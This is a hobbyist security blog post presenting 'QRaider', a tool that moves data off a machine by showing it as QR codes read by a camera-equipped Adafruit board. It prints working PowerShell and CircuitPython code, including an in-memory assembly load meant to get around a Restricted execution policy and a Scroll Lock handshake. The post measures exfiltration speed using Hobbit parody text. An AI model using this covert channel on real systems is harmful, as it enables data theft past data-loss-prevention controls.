QRaider - Data Transfer over QR Codes

QRaider - Data Transfer over QR Codes
GitHub - secsi/QRaider: A QRCode dumper
A QRCode dumper. Contribute to secsi/QRaider development by creating an account on GitHub.

Leading on from this previous post about using lock keys to allow keyboard communications [https://blog.badoosb.com/a-badusb-for-dlp/]. We are going to construct a QR reader, with associated PowerShell, to dump data over QR codes.

The method being as follows:

1) PowerShell will create a QR code and display it on the screen
2) PowerShell to turn on Scroll Lock to indicate that QR Code is ready
3) Adafruit detects Scroll in on, starts trying to read QR code
4) When Adafruit scans QR code successfully.. turn Scroll back off

Introducing Our QR Reader

The "Tiny Code Reader"

The reader itself is a "Tiny Code Reader" made by Useful Sensors. Purchased at the ThePiHut.com for about the same as two coffees at Starbucks.

This is an uber small camera. Only down side is that it does ONLY QR codes. For the sake of saving £20 on an actual camera and the added libraries to read QRs, this was a steal.

Producing a QR Code

Restricted and Remote Signed Policies

So there's a PowerShell module called QRCodeGenerator, which does exactly that.

QRCodeGenerator 2.4.1
creates QR codes offline

I do not want however to load modules and scripts. If restricted policies are configured, we wont be allowed to load them. So I've had to butcher this up into what I need, so that it can be loaded into an ISE window and fired even when execution policy of 'Restricted' is set. Its a hacky workaround.

After butchering the owners code and making absolutely zero effort to consolidate the two functions required... I plagiarise the first few lines from The Hobbit. Idea is to transfer this via QR.

$content = 'TVqQAAMAAAAEAAAA<>REDACTED FOR BREVITYAAAAAAAAAAAAAAAAAAA='
$null = [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($content))
function New-PSOneQRCodeText
{
   [CmdletBinding()]
    param
    (
        [Parameter(Mandatory)]
        [string]
        $Text,
        [ValidateRange(10,2000)]
        [int]
        $Width = 100,
        [Switch]
        $Show,
        [string]
        $OutPath = "$env:temp\qrcode.png"
    )
    $payload = "$Text"
    New-PSOneQRCode -payload $payload -Show $Show -Width $Width -OutPath $OutPath
}
function New-PSOneQRCode
{
    [CmdletBinding()]
    param
    (
        [Parameter(Mandatory)]
        [string]
        $payload,

        [Parameter(Mandatory)]
        [bool]
        $Show,

        [ValidateRange(10,2000)]
        [int]
        $Width = 100,

        [string]
        $OutPath = "$env:temp\qrcode.png"
    )
        

    $generator = New-Object -TypeName QRCoder.QRCodeGenerator
    $data = $generator.CreateQrCode($payload, 'Q')
    $code = new-object -TypeName QRCoder.PngByteQRCode -ArgumentList ($data)
    $byteArray = $code.GetGraphic($Width)
    [System.IO.File]::WriteAllBytes($outPath, $byteArray)

    if ($Show) { Invoke-Item -Path $outPath }
}
Set-Alias -Name New-QRCodeText -Value New-PSOneQRCodeText

# Function to check if a specific key is on
function IsKeyOn($key) {
    [System.Windows.Forms.Control]::IsKeyLocked([System.Windows.Forms.Keys]::$key)
}
#create shell object
$wsh = New-Object -ComObject WScript.Shell


$string = @"
"So you're going to go through with it, then," Gandalf the Wizard said 
slowly.
     "I am," Bilbo replied. "I've been planning this for a long time. 
It'll give the Hobbits of the Shire something to talk about for the next 
nine days - or ninety-nine, more likely. Anyway, at least I'll have my 
little joke."
     "Who will laugh, I wonder?" Gandalf mused aloud, scratching his 
beard idly.

     For weeks carts and caravans were coming from all over Middle-earth 
to bring provisions for the Grand Old Party, as Bilbo referred to it. 
Wagons of food from the Dwarvish mines at Erebor, shiny rocks from the 
Sea-elves and fancy seductive packages from southern Mirkwood arrived 
daily, making the neighborhood generally more crowded and cluttering up 
avenues. Even those who hadn't said anything bad about Bilbo before were 
starting to show their annoyance. "Mr. Bilbo Baggins is starting to get a 
mite annoying," old Gaffer Gamgee grumbled, standing outside the pub. 
"Queer goings-on, and no mistake. Why just yesterday a bunch o' pesky 
Wood-elves dragged their cart right acrost my yard and ruined my taters!"
     "A bunch of Men from Bree came to my place yesterday and tried to 
sell me some aluminum siding," mused Old Noakes of Bywater. "They said it 
was because they had extra after building that horrible Quonset hut over 
the Party Tree, and they were trying to unload it. Strange folk 
hereabouts."
     "Yes, but it's good for the economy," sneered Bill Ferny, the local 
banker. "A lot more money in circulation. Market's been doing well. 
Unionization is down because of all the entry-level service positions 
that are being created. Widening gap between the haves and have-nots, 
don't you think? Good to find work for idle hands."
     "And you don't know nothin' about anythin', Ferny," Gaffer Gamgee 
snapped, echoing the popular community sentiment. "Mr. Bilbo Baggins is a 
right bastard, as I've often said, and it's small wonder if trouble don't 
come of him and his imperialist ways. The Revolution's a'comin', and it's 
the likes o'you who'll be the first ag'inst the wall, so sayeth the 
Lord." And with that he spat a well-aimed beer-nut into Ferny's glass.
"@

$chunkSize = 200

for ($i = 0; $i -lt $string.Length; $i += $chunkSize) {
    $chunk = $string.Substring($i, [Math]::Min($chunkSize, $string.Length - $i))
    # make the QR Code
    New-PSOneQRCodeText -Text $chunk -Width 100 -Show -OutPath "$home\Desktop\qr.png"

    #QR Now ready for pickup, turn on scroll lock
    $wsh.SendKeys('{SCROLLLOCK}')

    #Wait for dumper to retrieve QR
    $waiting = $true
    while ($waiting -eq $true){
        $isScrollLockOn = IsKeyOn 'Scroll'
        if ($IsScrollLockOn) {
            #WAITING FOR DUMPER TO READ QRCODE
            Start-Sleep -Seconds 0.2
            #write-host "Waiting for dumper"
        }else{
            #ready for new QR, close existing window and continue
            Get-Process | Where-Object { $_.ProcessName -eq "PhotosApp"} | Stop-Process -Force
            Start-Sleep -Seconds 1.5
            $waiting = $false
        }
    }
}

A notable point in the learning process here. a £7 QR camera is good for what it is, however it struggles to read anything beyond 200-300 character QR codes.

Its a limitation of the potential speed which can be overcome with... to put it bluntly... a better camera. The QR code generator can handle roughly 1-2k characters (although its pretty slow to generate ones of this size).

Enter the Adafruit

Circuit Python Shenanigans

Some new items here to handle the Tiny Code Reader, but effectively this boils down to two while loops.

First loop of 'while 1' persistently goes like any normal application loop. Every loop it checks for the status of the scroll key.

If the scroll key is set we enter the second loop, which is basically the QR reader trying to read the code on the screen. Once read, it breaks the loop, turns off scroll and goes back to the main loop.

Its a pretty straight forward "your turn, my turn" use of the scroll lock between the Adafruit and the host machine.

import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
import time
import struct
import board
import usb_hid
# Initialize the keyboard
keyboard = Keyboard(usb_hid.devices)

# The code reader has the I2C ID of hex 0c, or decimal 12.
TINY_CODE_READER_I2C_ADDRESS = 0x0C

# How long to pause between sensor polls.
TINY_CODE_READER_DELAY = 0.2

TINY_CODE_READER_LENGTH_OFFSET = 0
TINY_CODE_READER_LENGTH_FORMAT = "H"
TINY_CODE_READER_MESSAGE_OFFSET = TINY_CODE_READER_LENGTH_OFFSET + \
                                  struct.calcsize(TINY_CODE_READER_LENGTH_FORMAT)
TINY_CODE_READER_MESSAGE_SIZE = 254
TINY_CODE_READER_MESSAGE_FORMAT = "B" * TINY_CODE_READER_MESSAGE_SIZE
TINY_CODE_READER_I2C_FORMAT = TINY_CODE_READER_LENGTH_FORMAT + TINY_CODE_READER_MESSAGE_FORMAT
TINY_CODE_READER_I2C_BYTE_COUNT = struct.calcsize(TINY_CODE_READER_I2C_FORMAT)

i2c = board.I2C()

#Toggle scroll to get status
keyboard.press(Keycode.SCROLL_LOCK)
time.sleep(0.1)
keyboard.release(Keycode.SCROLL_LOCK)
time.sleep(0.5)

#Now make sure its off
if(keyboard.led_on(Keyboard.LED_SCROLL_LOCK)):
    keyboard.press(Keycode.SCROLL_LOCK)
    time.sleep(0.1)
    keyboard.release(Keycode.SCROLL_LOCK)
    time.sleep(0.5)

while not i2c.try_lock():
    pass

output=""
i=0
while 1:
    # Is scroll lock on?
    if(keyboard.led_on(Keyboard.LED_SCROLL_LOCK)):
        print("[+] Attempting to read QR")
        i=0
        last_message_string = None
        last_code_time = 0.0
        retrieved = False
        while retrieved==False:
            read_data = bytearray(TINY_CODE_READER_I2C_BYTE_COUNT)
            i2c.readfrom_into(TINY_CODE_READER_I2C_ADDRESS, read_data)

            message_length,  = struct.unpack_from(TINY_CODE_READER_LENGTH_FORMAT, read_data,
                                                  TINY_CODE_READER_LENGTH_OFFSET)
            message_bytes = struct.unpack_from(TINY_CODE_READER_MESSAGE_FORMAT, read_data,
                                               TINY_CODE_READER_MESSAGE_OFFSET)

            if message_length > 0:
                message_string = bytearray(message_bytes)[0:message_length].decode("utf-8")
                is_same = (message_string == last_message_string)
                last_message_string = message_string
                current_time = time.monotonic()
                time_since_last_code = current_time - last_code_time
                last_code_time = current_time
                # Debounce the input by making sure there's been a gap in time since we
                # last saw this code.
                if (not is_same) or (time_since_last_code > 1.0):
                    print(message_string)
                    retrieved=True
                    print("\n")

        # Turn off scroll lock to indicate successfull retrieval
        #print("PRESS SCROLL LOCK")
        keyboard.press(Keycode.SCROLL_LOCK)
        time.sleep(0.1)
        keyboard.release(Keycode.SCROLL_LOCK)
        time.sleep(0.5)
    else:
        i+=1
        #print(i)
        #if i > 2000: quit()
    time.sleep(0.1)

What Does This Look Like

Execution of exfil

Previously id tried to use caps and num lock to send out 2 bits of data at a time. Around 1 byte per second. A horrifically slow and un-useable exfil method for anything more than 10 characters.

This however, despite the limitations of the camera being able to read large QRs, managed to exfil around 1.1kb of data in about 60 seconds. Which, after we've done some math, the QR Code exfil method exfils at ~18.7 bytes per second.

18.7 bps is not epic... but it is 18.7 times faster than my previous method.

0:00
/1:02

Headaches and doing things differently

The reader has issues with QRs of a certain size and over. This limits the BPS achievable.

Another dilemma with this is that you cannot physically see what the QR reader sees. So you have to perform Tai-Chi waving the camera around at the screen until you get a reading. It also felt very similar to when you have IR sensors on taps in public bathrooms. Waving your hands around to get the taps to actually start working.

To get around this, mount your camera to a tripod of a rig and point it at the screen. Get a QR on the screen and move it round with the mouse until it reads. This should allow you to just open the photo app, move it to this section of the screen and close it... this took me about 20-30 minutes to figure out. I feel like a genius and a dumbass at the same time.

GitHub - secsi/QRaider: A QRCode dumper
A QRCode dumper. Contribute to secsi/QRaider development by creating an account on GitHub.